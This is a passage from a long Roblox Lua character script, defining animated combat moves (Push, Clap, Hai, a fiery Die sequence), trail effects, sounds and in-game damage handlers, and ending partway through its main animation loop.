  3876. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3877. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3878. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3879. end
  3880. for i=0,1,0.005 do
  3881. swait()
  3882. Torso.Velocity=RootPart.CFrame.lookVector*100
  3883. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5)
  3884. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3885. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3886. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3887. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3888. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3889. end
  3890. --dmgstop()
  3891. Humanoid.WalkSpeed=12
  3892. attack=false
  3893. con1:disconnect()
  3894. con2:disconnect()
  3895. if anim then
  3896. anim.Disabled=false
  3897. end
  3898. if TrailDeb == true then
  3899. TrailDeb = false
  3900. end
  3901. end
  3902.  
  3903. function Push()
  3904. attack=true
  3905. mana=mana-20
  3906. if TrailDeb == false then
  3907. TrailDeb = true
  3908. end
  3909.  
  3910.  
  3911. coroutine.wrap(function()
  3912. local Old = Handle2.CFrame.p
  3913. while wait()do
  3914. if not TrailDeb then break end
  3915. local New = Handle2.CFrame.p
  3916. local Mag =(Old -New).magnitude
  3917. local Dis =(Old +New)/2
  3918. local Trail = Instance.new("Part",Character)
  3919. Trail.Material = "Neon"
  3920. Trail.Anchored = true
  3921. Trail.CanCollide = false
  3922. Trail.BrickColor = TorsoColor
  3923. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3924. Trail.TopSurface = 0
  3925. Trail.BottomSurface = 0
  3926. Trail.formFactor = "Custom"
  3927. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3928. local ms = Instance.new("BlockMesh",Trail)
  3929. ms.Scale = Vector3.new(1,1,1)
  3930. local TM = Instance.new("CylinderMesh",Trail)
  3931. TM.Scale = Vector3.new(1,1,1)
  3932. Old = New
  3933. coroutine.wrap(function()
  3934. for i = 1,0,-0.1 do
  3935. wait()
  3936. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3937. end
  3938. Trail:remove()
  3939. end)()
  3940. coroutine.wrap(function()
  3941. for i = 1,10 do
  3942. wait()
  3943. Trail.Transparency = Trail.Transparency +0.1
  3944. end end)()end end)()
  3945. coroutine.wrap(function()
  3946. local Old = Handle.CFrame.p
  3947. while wait()do
  3948. if not TrailDeb then break end
  3949. local New = Handle.CFrame.p
  3950. local Mag =(Old -New).magnitude
  3951. local Dis =(Old +New)/2
  3952. local Trail = Instance.new("Part",Character)
  3953. Trail.Material = "Neon"
  3954. Trail.Anchored = true
  3955. Trail.CanCollide = false
  3956. Trail.BrickColor = TorsoColor
  3957. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3958. Trail.TopSurface = 0
  3959. Trail.BottomSurface = 0
  3960. Trail.formFactor = "Custom"
  3961. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3962. local ms = Instance.new("BlockMesh",Trail)
  3963. ms.Scale = Vector3.new(1,1,1)
  3964. local TM = Instance.new("CylinderMesh",Trail)
  3965. TM.Scale = Vector3.new(1,1,1)
  3966. Old = New
  3967. coroutine.wrap(function()
  3968. for i = 1,0,-0.1 do
  3969. wait()
  3970. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3971. end
  3972. Trail:remove()
  3973. end)()
  3974. coroutine.wrap(function()
  3975. for i = 1,10 do
  3976. wait()
  3977. Trail.Transparency = Trail.Transparency +0.1
  3978. end end)()end end)()
  3979. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3980. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3981. for i=0,1,0.1 do
  3982. swait()
  3983. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3984. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  3985. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3986. Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  3987. Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  3988. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  3989. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  3990. end
  3991. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  3992. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  3993. so("http://www.roblox.com/asset/?id=159882481",Torso,1,1)
  3994. for i=0,1,0.1 do
  3995. swait()
  3996. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3997. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  3998. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3999. Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4000. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4001. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4002. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4003. end
  4004. --dmgstop()
  4005. attack=false
  4006. con1:disconnect()
  4007. con2:disconnect()
  4008. if TrailDeb == true then
  4009. TrailDeb = false
  4010. end
  4011. end
  4012.  
  4013. function Clap()
  4014. attack=true
  4015. mana=mana-20
  4016. if TrailDeb == false then
  4017. TrailDeb = true
  4018. end
  4019.  
  4020.  
  4021. coroutine.wrap(function()
  4022. local Old = Handle2.CFrame.p
  4023. while wait()do
  4024. if not TrailDeb then break end
  4025. local New = Handle2.CFrame.p
  4026. local Mag =(Old -New).magnitude
  4027. local Dis =(Old +New)/2
  4028. local Trail = Instance.new("Part",Character)
  4029. Trail.Material = "Neon"
  4030. Trail.Anchored = true
  4031. Trail.CanCollide = false
  4032. Trail.BrickColor = TorsoColor
  4033. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4034. Trail.TopSurface = 0
  4035. Trail.BottomSurface = 0
  4036. Trail.formFactor = "Custom"
  4037. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4038. local ms = Instance.new("BlockMesh",Trail)
  4039. ms.Scale = Vector3.new(1,1,1)
  4040. local TM = Instance.new("CylinderMesh",Trail)
  4041. TM.Scale = Vector3.new(1,1,1)
  4042. Old = New
  4043. coroutine.wrap(function()
  4044. for i = 1,0,-0.1 do
  4045. wait()
  4046. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4047. end
  4048. Trail:remove()
  4049. end)()
  4050. coroutine.wrap(function()
  4051. for i = 1,10 do
  4052. wait()
  4053. Trail.Transparency = Trail.Transparency +0.1
  4054. end end)()end end)()
  4055. coroutine.wrap(function()
  4056. local Old = Handle.CFrame.p
  4057. while wait()do
  4058. if not TrailDeb then break end
  4059. local New = Handle.CFrame.p
  4060. local Mag =(Old -New).magnitude
  4061. local Dis =(Old +New)/2
  4062. local Trail = Instance.new("Part",Character)
  4063. Trail.Material = "Neon"
  4064. Trail.Anchored = true
  4065. Trail.CanCollide = false
  4066. Trail.BrickColor = TorsoColor
  4067. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4068. Trail.TopSurface = 0
  4069. Trail.BottomSurface = 0
  4070. Trail.formFactor = "Custom"
  4071. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4072. local ms = Instance.new("BlockMesh",Trail)
  4073. ms.Scale = Vector3.new(1,1,1)
  4074. local TM = Instance.new("CylinderMesh",Trail)
  4075. TM.Scale = Vector3.new(1,1,1)
  4076. Old = New
  4077. coroutine.wrap(function()
  4078. for i = 1,0,-0.1 do
  4079. wait()
  4080. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4081. end
  4082. Trail:remove()
  4083. end)()
  4084. coroutine.wrap(function()
  4085. for i = 1,10 do
  4086. wait()
  4087. Trail.Transparency = Trail.Transparency +0.1
  4088. end end)()end end)()
  4089. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4090. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4091. so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9)
  4092. for i=0,1,0.08 do
  4093. swait()
  4094. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4095. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4096. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4097. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2)
  4098. Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2)
  4099. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  4100. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3)
  4101. end
  4102. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4103. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4104. for i=0,1,0.08 do
  4105. swait()
  4106. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4107. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4108. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4109. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2)
  4110. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2)
  4111. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  4112. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  4113. end
  4114. --dmgstop()
  4115. attack=false
  4116. con1:disconnect()
  4117. con2:disconnect()
  4118. if TrailDeb == true then
  4119. TrailDeb = false
  4120. end
  4121. end
  4122.  
  4123. function Hai()
  4124. attack=true
  4125. Humanoid.WalkSpeed=0
  4126. so("http://www.roblox.com/asset/?id=159882567",Torso,1,1)
  4127. for i=0,1,0.1 do
  4128. swait()
  4129. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4130. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4131. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4132. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4133. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4134. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4135. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4136. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4137. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4138. end
  4139. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4140. for i=0,1,0.1 do
  4141. swait()
  4142. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4143. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4144. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4145. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4146. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4147. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4148. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4149. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5)
  4150. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4151. end
  4152. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4153. for i=0,1,0.1 do
  4154. swait()
  4155. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4156. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4157. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4158. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4159. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4160. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4161. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4162. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4163. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4164.  
  4165. end
  4166. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4167. for i=0,1,0.1 do
  4168. swait()
  4169. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4170. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4171. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4172. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4173. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4174. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4175. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4176. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3)
  4177. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4178. end
  4179. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4180. for i=0,1,0.1 do
  4181. swait()
  4182. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4183. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4184. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4185. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4186. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4187. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4188. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4189. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4190. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4191. end
  4192. --dmgstop()
  4193. Humanoid.WalkSpeed=12
  4194. attack=false
  4195. end
  4196.  
  4197. function Die()
  4198. attack=true
  4199. Footsteps:Stop()
  4200. Footsteps2:Stop()
  4201. local Fire = it("Sound",Character.Torso)
  4202. Fire.SoundId = "rbxassetid://192104941"
  4203. Fire.Looped = true
  4204. Fire.Pitch = 1
  4205. Fire.Volume = 1
  4206. local Fire2 = it("Sound",Handle2)
  4207. Fire2.SoundId = "rbxassetid://192104941"
  4208. Fire2.Looped = true
  4209. Fire2.Pitch = 1
  4210. Fire2.Volume = 1
  4211. local Fire3 = it("Sound",Handle)
  4212. Fire3.SoundId = "rbxassetid://192104941"
  4213. Fire3.Looped = true
  4214. Fire3.Pitch = 1
  4215. Fire3.Volume = 1
  4216. local Fire4 = it("Sound",handle)
  4217. Fire4.SoundId = "rbxassetid://192104941"
  4218. Fire4.Looped = true
  4219. Fire4.Pitch = 1
  4220. Fire4.Volume = 1
  4221. local fire = Instance.new("ParticleEmitter", Character.Torso)
  4222. fire.Lifetime = NumberRange.new(0.5)
  4223. fire.Speed = NumberRange.new(1, 3)
  4224. fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4225. fire.Rate = 0
  4226. fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4227. fire.LightEmission = 0.6
  4228. fire.Texture = "http://www.roblox.com/asset/?id=242911609"
  4229. fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4230. local fire2 = Instance.new("ParticleEmitter", Handle)
  4231. fire2.Lifetime = NumberRange.new(0.5)
  4232. fire2.Speed = NumberRange.new(1, 3)
  4233. fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4234. fire2.Rate = 0
  4235. fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4236. fire2.LightEmission = 0.6
  4237. fire2.Texture = "http://www.roblox.com/asset/?id=242911609"
  4238. fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4239. local fire3 = Instance.new("ParticleEmitter", Handle2)
  4240. fire3.Lifetime = NumberRange.new(0.5)
  4241. fire3.Speed = NumberRange.new(1, 3)
  4242. fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4243. fire3.Rate = 0
  4244. fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4245. fire3.LightEmission = 0.6
  4246. fire3.Texture = "http://www.roblox.com/asset/?id=242911609"
  4247. fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4248. local fire4 = Instance.new("ParticleEmitter", handle)
  4249. fire4.Lifetime = NumberRange.new(0.5)
  4250. fire4.Speed = NumberRange.new(1, 3)
  4251. fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4252. fire4.Rate = 0
  4253. fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4254. fire4.LightEmission = 0.6
  4255. fire4.Texture = "http://www.roblox.com/asset/?id=242911609"
  4256. fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4257. Humanoid.WalkSpeed = 0
  4258. so("http://www.roblox.com/asset/?id=199149297",Head,1,1)
  4259. so("http://www.roblox.com/asset/?id=209527203",Head,1,1)
  4260. for i=0,1,0.08 do
  4261. swait()
  4262. Torso.Velocity=RootPart.CFrame.lookVector*-30
  4263. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2)
  4264. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2)
  4265. handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4266. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4267. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4268. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2)
  4269. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2)
  4270. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4271. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4272. end
  4273. for i=0,1,0.005 do
  4274. swait()
  4275. light.Range=15-10*i
  4276. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4277. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4278. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4279. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4280. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4281. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4282. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4283. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4284. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4285. end
  4286. light.Range=0
  4287. for i=0,1,0.01 do
  4288. swait()
  4289. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4290. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4291. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4292. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4293. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4294. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4295. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4296. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4297. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4298. end
  4299. so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9)
  4300. fire.Rate = 1000
  4301. fire2.Rate = 1000
  4302. fire3.Rate = 1000
  4303. fire4.Rate = 1000
  4304. Fire:Play()
  4305. Fire2:Play()
  4306. Fire3:Play()
  4307. Fire4:Play()
  4308. for i=0,1,0.005 do
  4309. swait()
  4310. Character.Head.face.Transparency = 0+1*i
  4311. LeftArm.Transparency=0+1*i
  4312. RightArm.Transparency=0+1*i
  4313. LeftLeg.Transparency=0+1*i
  4314. RightLeg.Transparency=0+1*i
  4315. Head.Transparency=0+1*i
  4316. Torso.Transparency=0+1*i
  4317. for _,v in pairs(Character:children()) do
  4318. if v:IsA("Hat") then
  4319. v.Handle.Transparency = 0+1*i
  4320. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4321. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4322. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4323. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4324. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4325. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4326. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4327. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4328. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4329. end
  4330. end
  4331. --dmgstop()
  4332. end
  4333. Humanoid.Health = 0
  4334. end
  4335.  
  4336. equipanim()
  4337.  
  4338. local sine = 0
  4339. local change = 1
  4340. local val = 0
  4341.  
  4342. local mananum=0
  4343. while true do
  4344. swait()
  4345. sine = sine + change
  4346. local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude
  4347. local velderp=RootPart.Velocity.y
  4348. hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
  4349. if equipped==true or equipped==false then
  4350. if Anim=="Idle" and attack==false then
  4351. idle=idle+1
  4352. else
  4353. idle=0
  4354. end
  4355. if Humanoid.Health <=20 then
  4356. if attack == false then
  4357. Humanoid.Health = math.huge
  4358. Die()
  4359. end
  4360. end
  4361. if idle>=1000 then
  4362. if attack==false then
  4363. --Sheath()
